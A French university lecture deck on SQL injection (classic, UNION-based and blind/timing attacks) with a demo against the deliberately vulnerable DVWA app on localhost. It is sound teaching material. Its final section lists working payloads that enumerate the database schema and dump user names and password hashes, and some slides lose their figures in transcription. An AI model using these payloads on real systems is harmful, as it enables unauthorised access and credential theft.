SQL Injection

Transcription

SQL Injection
Vulnérabilités logicielles
Injection SQL
Chamseddine Talhi
École de technologie supérieure (ÉTS)
Dép. Génie logiciel et des TI
1
Plan
•
•
•
•
•
•
SQL
Injection SQL
Injections SQL standards
Injections SQL de requêtes UNION
Injections SQL aveugles
Demo
2
Yosr Jarraya, ÉTS
SQL
• SQL signifie Structured Query Language
– Langage utilisé pour accéder / communiquer avec bases de
données
• Langages standards ANSI et ISO
• Les instructions SQL peuvent effectuer les tâches
suivantes sur une base de données (BD):
–
–
–
–
Récupération des données
Insertion de nouvelles données
Modification (mise à jours) des données existantes.
Suppression des enregistrements
• Plusieurs standards, plusieurs produits BD:
– Les mêmes principaux mots clés pour les requêtes (SELECT,
UPDATE, INSERT…etc.)
– Chaque BD peut avoir ses propres extensions propriétaires
3
Yosr Jarraya, ÉTS
SQL
Pub_Id
Pub_name
1
Springer
2
IEEE
book_Id
title
price
1002012
SQL injection
100 $
1012012
Internet Security
110 $
• Une base de données relationnelle contient en général une ou
plusieurs tables (liées ou pas) et qui sont identifiables par leurs
noms.
• Chaque table contient des colonnes et des enregistrements.
• En général les enregistrement sont identifiables en se basant sur
une ou plusieurs colonnes spécifiques qui sont les clés (index) de
la table.
4
Yosr Jarraya, ÉTS
SQL
• SQL Data Definition Language (DDL)
– Permet de construire la base de données en créant ou supprimant des
tables, spécifier les index des tables, les liens et/ou contraintes entre
tables, etc.
– Exemple CREATE TABLE, ALTER TABLE, DROP TABLE.
• SQL Data Manipulation Language (DML)
– Manipuler les données dans la base de données
• Presque toutes les bases de données SQL se basent sur
le modèle relationnelle des données:
– SGBDR: Système de Gestion de Bases de Données Relationnelles
– Les métadonnées, qui sont les données sur la base de données,
doivent être stockeés dans la base de données elle-même avec les
données utilisateur
– Par conséquent, la structure de base de données peut aussi être lue et
modifié avec des requêtes SQL. => Critique
5
Yosr Jarraya, ÉTS
Injection SQL
ATTACK


DB Table


Billing
Directories
Human Resrcs

Web Services
Databases
HTTP SQL
response
query

HTTP
request
APPLICATION
Legacy Systems
Communication
Knowledge Mgmt
E-Commerce
Bus. Functions
Administration
Transactions
Accounts
Finance
Application Layer
Vulnérabilité #1 Injection – Attaque Account Summary
Account:
Account:
"SELECT * FROM accounts
SKU:acct=‘’ OR 1=1--’"
WHERE
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
Acct:4128-0004-1234-0293
1. Application presents a form to
the attacker
Custom Code
2. Attacker sends an attack in the
form data
App Server
3. Application forwards attack to
the database in a SQL query
Firewall
Hardened OS
Firewall
Network Layer
Web Server
4. Database runs query
containing attack and sends
encrypted results back to
application
5. Application decrypts data
as normal and sends results
to the user
Source: http://www.owasp.org/index.php/Top_10
MGR850
6
Injection SQL
• La capacité d'injecter des commandes
SQL dans le moteur de base de données
grâce à une application existante
• Causes des injections SQL :
– Une requête SQL générée en composant
« naïvement » les données reçues des
utilisateurs d’une application.
– Aucune vérification n’est effectuée sur les
données OU
– Vérification médiocre
7
Yosr Jarraya, ÉTS
Injection SQL
• Les objectifs des injections SQL peuvent
être multiples:
– Accéder à des données auxquelles on ne
devrait pas avoir accès,
– Modifier des données,
– Effacer des données,
– Lire/écrire sur le système de fichier,
– Exécuter des commandes systèmes.
8
Yosr Jarraya, ÉTS
MGR850 - A12
Injection SQL
• Préparation de l’attaque:
– Identifier des paramètres injectables
– Identifier le type et la version du SGBDR
– Déterminer le schéma de la base de données
(noms de table, noms de colonne, types de
données des colonnes…etc.)
9
Yosr Jarraya, ÉTS
Injection SQL
• Types d’injection SQL:
– Injections SQL classiques
– Injections SQL de requêtes d’union
– Injections SQL aveugles
10
Yosr Jarraya, ÉTS
Injection SQL
• 1ère étape: Comprendre quand l’application se connecte à un
serveur de base de données.
• Exemples typiques de connexion à une BD:
o Formulaires d'authentification: il ya des chances que les informations
d'identification sont comparées à une BD qui contient tous les noms
d'utilisateur et mots de passe
o Moteurs de recherche: les chaînes présentées par l'utilisateur peuvent
être utilisées dans une requête SQL qui extrait tous les documents
pertinents à partir d'une BD
o Sites de commerce électronique: les produits et leurs caractéristiques
(prix, description, disponibilité, ...) sont très susceptibles d'être stockés
dans une BD
11
Chamseddine Talhi, ÉTS
Injection SQL
• 2ère étape: Préparer une liste de tous les champs de saisie dont
les valeurs pourraient être utilisées dans l'élaboration d'une
requête SQL.
• Stratégie gagnante: Tester chaque champ séparément
alors que les valeurs de toutes les autres variables doivent
rester constantes.
• Permet d’identifier avec précision les paramètres qui sont
vulnérables et ceux qui ne le sont pas.
• Essayer d’interférer avec la requête et provoquer la
génération d’erreurs.
12
Chamseddine Talhi, ÉTS
Injection SQL
Comment détecter la présence de vulnérabilités?
• D’abord tester les injections classiques!
• Test de base:
• Ajout d'une apostrophe (') ou d’un point-virgule (;) aux champs sous test
o (') : utilisée comme une marque de fin de chaîne de caractères dans une
instruction SQL.
o (;) : utilisé pour marquer la fin d’une instruction SQL.
• En l’absence de filtres, ces caractères peuvent mener à l’exécution de
requêtes incorrectes et/ou générer des erreurs
Les hackers adorent les messages d’erreurs 
13
Chamseddine Talhi, ÉTS
Injection SQL
Comment détecter la présence de vulnérabilités?
Messages d’erreurs « généreux »
Malheureusement, les applications web sont souvent
beaucoup moins bavardes 
« Heureusement », les techniques d’injection aveugle
existent
14
Chamseddine Talhi, ÉTS
Injections SQL standards
Requête SQL en arrière plan:
Une attaque possible:
Dans quelques systèmes, la 1ère ligne retournée par cette
requête correspond à un utilisateur administrateur!
15
Chamseddine Talhi, ÉTS
Injections SQL standards
Une requête SQL plus intelligente 
• Deux problèmes: les parenthèses et la fonction de hachage MD5!
• Solutions
o Les parenthèses: On s’arranger pour les respecter
o MD5: On s’arranger pour que SQL l’ignore tout simplement!
/* ou bien # ou bien -Syntax SQL commentaire
16
Chamseddine Talhi, ÉTS
Injections SQL standards
Problème: Parfois, le code d'authentification vérifie que le
nombre d’enregistrements retournés est exactement égal à 1
Solution:
Mais comment avoir les autres enregistrements?
17
Chamseddine Talhi, ÉTS
Injections SQL de requêtes UNION
Peut-on avoir accès aux données d’une table autre que celle
visée par la requête?
Solution: Utiliser l’opérateur d’union « UNION »
1 ' and 2=3 UNION SELECT
(SELECT GROUP_CONCAT(column_name) FROM
information_schema.columns
WHERE table_name='users'),1 #
18
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Comment détecter que la page est vulnérable?
Une page web
http://newspaper.com/items.php?id=2
Requête (possible) exécutée en arrière plan SELECT title, description, body FROM items WHERE ID = 2
Es-tu vulnérable BD?
http://newspaper.com/items.php?id=2 and 1=2
Pas de réponse!
=> Potentiellement vulnérable
Es-tu vraiment vulnérable BD? http://newspaper.com/items.php?id=2 and 1=1
La même réponse que http://newspaper.com/items.php?id=2
=> Surement vulnérable
On a de la chance! On sait faire la différence entre une
réponse valide et une réponse non valide!
Chamseddine Talhi, ÉTS
19
Injections SQL aveugle
Soit la requête exécutée en arrière plan:
Approche: Changer le code ASCII jusqu’à l’obtention d’un
résultat => passer au caractère suivant
20
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Quelques fonctions utilisées:
• SUBSTRING (texte, debut, longueur): retourne une sous chaine de caractère
débutant a la position « debut» du texte et de longueur « longueur». Si « debut» est
supérieure à la longueur du texte, la fonction retourne la valeur nulle.
• ASCII (char): retourne le code ASCII du caractère en paramètre « char ». Si le
caractère est 0, la valeur null est retournée.
• LENGTH (text):donne la longueur en nombre de caractères de la chaine en
paramètre « text».
21
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Mais si la page web est vraiment opaque!!!
Timing attack : des fonctions qui consomment du temps!
Example: combiner:
•
•
Injection de SELECT IF(expression, op1, op2)
• Si expression est évaluée à true alors op1 s’exécute
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) exécute
5000000 fois la fonction ENCODE.
• En fonction de la performance du SGBDR et de sa charge, les
répétitions devrait influencer le temps de réponse du serveur
Example d’utilisation:
1 UNION SELECT IF
(SUBSTRING(user_passord,1,1) = CHAR(50),
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),
null)
FROM users WHERE user_id = 1;
Si la réponse du serveur à cette requête prend beaucoup de temps, l’attaquant
présumerait que le premier caractère du password pour user_id = 1 est
effectivement le caractère ‘2’.
22
Chamseddine Talhi, ÉTS
Outils
SQLDumper: Outil automatique
23
Chamseddine Talhi, ÉTS
Démo
Configuration
• XAMPP
• XAMPP est un kit pour l’installation du serveur web
Apache avec le système de base de données MySQL et le
support des script PHP et Perl.
• http://www.apachefriends.org/en/xampp.html
• DVWA
• Une application web PHP / MySQL vulnérable.
• Principal objectif est d’aider à la compréhension et à la
pratique de la sécurité des applications Web.
• http://www.dvwa.co.uk/
24
Yosr Jarraya, ÉTS
Démo: Injection SQL
25
Yosr Jarraya, ÉTS
Démo: Injection SQL
• Requête SQL en arrière plan:
• Attaque sur le champs « User ID ».
26
Yosr Jarraya, ÉTS
Test Injection SQL
http://127.0.0.1/dvwa/index.php admin, password
%%%%%%%%%%%%%%%%TEST1%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1+1 ou bien 1%2b1
%%%%%%%%%%%%%%%TEST2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' or 1=1 #
%%%%%%%%%%%%%%TEST3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' #
%%%%%%%%%%%%%%%TEST4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' union select 1 #
1 ' and 1=2 union select 1,2 #
%%%%%%%%%%%%%%TEST5%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select database(),user() #
%%%%%%%%%%%%%%TEST6%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where
table_schema=database()),1 #
%%%%%%TEST7%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(table_name) from information_schema.tables where table_schema!='mysql' and
table_schema !='information_schema'),1 #
%%%%%%TEST8%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),1 #
%%%%%%TEST9%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select password from users where first_name='admin'),1 #
%%%%%%TEST10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(user_id,0x2c,first_name,0x2c,last_name,
0x2c,user,0x2c,password,0x2c,avatar,0x0a) from users),1 #
27
Yosr Jarraya, ÉTS
Références
• http://dev.mysql.com/doc/refman/5.6/en/sq
l-syntax.html
28
Yosr Jarraya, ÉTS
29